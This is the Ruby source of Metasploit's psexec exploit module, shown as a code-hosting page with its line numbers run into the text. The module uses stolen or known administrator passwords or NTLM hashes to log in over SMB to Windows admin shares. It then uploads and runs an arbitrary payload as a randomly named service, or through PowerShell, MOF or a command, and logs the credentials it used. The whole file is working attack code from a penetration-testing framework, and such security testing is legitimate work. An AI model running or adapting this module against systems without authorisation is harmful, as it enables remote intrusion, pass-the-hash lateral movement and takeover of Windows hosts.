Path: blob/master/modules/exploits/windows/smb/psexec.rb
31954 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45# Windows XP systems that are not part of a domain default to treating all6# network logons as if they were Guest. This prevents SMB relay attacks from7# gaining administrative access to these systems. This setting can be found8# under:9#10# Local Security Settings >11# Local Policies >12# Security Options >13# Network Access: Sharing and security model for local accounts1415class MetasploitModule < Msf::Exploit::Remote16Rank = ManualRanking1718include Msf::Exploit::Remote::SMB::Client::Psexec19include Msf::Exploit::Powershell20include Msf::Exploit::EXE21include Msf::Exploit::WbemExec22include Msf::Auxiliary::Report23include Msf::OptionalSession::SMB2425def initialize(info = {})26super(27update_info(28info,29'Name' => 'Microsoft Windows Authenticated User Code Execution',30'Description' => %q{31This module uses a valid administrator username and password (or32password hash) to execute an arbitrary payload. This module is similar33to the "psexec" utility provided by SysInternals. This module is now able34to clean up after itself. The service created by this tool uses a randomly35chosen name and description.36},37'Author' => [38'hdm',39'Royce Davis <rdavis[at]accuvant.com>', # (@R3dy__) PSExec command module40'RageLtMan <rageltman[at]sempervictus>' # PSH exploit, libs, encoders41],42'License' => MSF_LICENSE,43'Privileged' => true,44'DefaultOptions' => {45'WfsDelay' => 10,46'EXITFUNC' => 'thread'47},48'References' => [49[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)50[ 'OSVDB', '3106'],51[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ],52[ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ],53[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],54# T1021_002_SMB_WINDOWS_ADMIN_SHARES replaces the deprecated T1077_WINDOWS_ADMIN_SHARES55['ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES],56['ATT&CK', Mitre::Attack::Technique::T1569_002_SERVICE_EXECUTION],57['ATT&CK', Mitre::Attack::Technique::T1059_001_POWERSHELL],58['ATT&CK', Mitre::Attack::Technique::T1059_003_WINDOWS_COMMAND_SHELL],59['ATT&CK', Mitre::Attack::Technique::T1078_VALID_ACCOUNTS],60['ATT&CK', Mitre::Attack::Technique::T1550_002_PASS_THE_HASH]61],62'Payload' => {63'Space' => 3072,64'DisableNops' => true65},66'Platform' => 'win',67'Targets' => [68[ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64] } ],69[ 'PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64] } ],70[ 'Native upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],71[ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],72[ 'Command', { 'Arch' => [ARCH_CMD], 'Payload' => { 'Space' => 8191 } } ]73],74'DefaultTarget' => 0,75# For the CVE, PsExec was first released around February or March 200176'DisclosureDate' => '1999-01-01',77'Notes' => {78'Reliability' => UNKNOWN_RELIABILITY,79'Stability' => UNKNOWN_STABILITY,80'SideEffects' => UNKNOWN_SIDE_EFFECTS81}82)83)8485register_options(86[87OptString.new('SMBSHARE', [false, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", ''], aliases: ['SHARE'])88]89)9091register_advanced_options(92[93OptBool.new('ALLOW_GUEST', [true, 'Keep trying if only given guest access', false]),94OptString.new('SERVICE_FILENAME', [false, 'Filename to to be used on target for the service binary', nil]),95OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),96OptString.new('SERVICE_STUB_ENCODER', [false, 'Encoder to use around the service registering stub', nil])97]98)99end100101def native_upload_with_workaround(smbshare)102service_filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"103service_encoder = datastore['SERVICE_STUB_ENCODER'] || ''104105# Avoid implementing NTLMSSP on Windows XP106# https://seclists.org/metasploit/2009/q1/6107if smb_peer_os == "Windows 5.1"108connect(versions: [1])109smb_login110end111native_upload(smbshare, service_filename, service_encoder)112end113114def validate_service_stub_encoder!115service_encoder = datastore['SERVICE_STUB_ENCODER']116return if service_encoder.nil? || service_encoder.empty?117118encoder = framework.encoders[service_encoder]119if encoder.nil?120raise Msf::OptionValidateError.new(121{122'SERVICE_STUB_ENCODER' => "Failed to find encoder #{service_encoder.inspect}"123}124)125end126end127128def exploit129validate_service_stub_encoder!130131# automatically select an SMB share unless one is explicitly specified132if datastore['SMBSHARE'] && !datastore['SMBSHARE'].blank?133smbshare = datastore['SMBSHARE']134elsif target.name == 'Command'135smbshare = 'C$'136else137smbshare = 'ADMIN$'138end139140create_simple_smb_client!141142case target.name143when 'Automatic'144if powershell_installed?(smbshare, datastore['PSH_PATH'])145print_status('Selecting PowerShell target')146execute_powershell_payload147else148print_status('Selecting native target')149native_upload_with_workaround(smbshare)150end151when 'PowerShell'152execute_powershell_payload153when 'Native upload'154native_upload_with_workaround(smbshare)155when 'MOF upload'156mof_upload(smbshare)157when 'Command'158execute_command_payload(smbshare)159end160161handler162disconnect163end164165def report_auth166service_data = {167address: ::Rex::Socket.getaddress(datastore['RHOST'], true),168port: datastore['RPORT'],169service_name: 'smb',170protocol: 'tcp',171workspace_id: myworkspace_id172}173174credential_data = {175origin_type: :service,176module_fullname: self.fullname,177private_data: datastore['SMBPass'],178username: datastore['SMBUser'].downcase179}180181if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP'182credential_data.merge!({183realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,184realm_value: datastore['SMBDomain']185})186end187188if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/189credential_data.merge!({ :private_type => :ntlm_hash })190else191credential_data.merge!({ :private_type => :password })192end193194credential_data.merge!(service_data)195196credential_core = create_credential(credential_data)197198login_data = {199access_level: 'Admin',200core: credential_core,201last_attempted_at: DateTime.now,202status: Metasploit::Model::Login::Status::SUCCESSFUL203}204205login_data.merge!(service_data)206create_credential_login(login_data)207end208209def create_simple_smb_client!210if session211print_status("Using existing session #{session.sid}")212self.simple = session.simple_client213else214print_status('Connecting to the server...')215connect216217print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")218smb_login219220if !simple.client.auth_user && !datastore['ALLOW_GUEST']221print_line222print_error(223'FAILED! The remote host has only provided us with Guest privileges. ' \224'Please make sure that the correct username and password have been provided. ' \225'Windows XP systems that are not part of a domain will only provide Guest privileges ' \226'to network logins by default.'227)228print_line229disconnect230return231end232233unless datastore['SMBUser'].to_s.strip.empty?234report_auth235end236237end238end239end240241242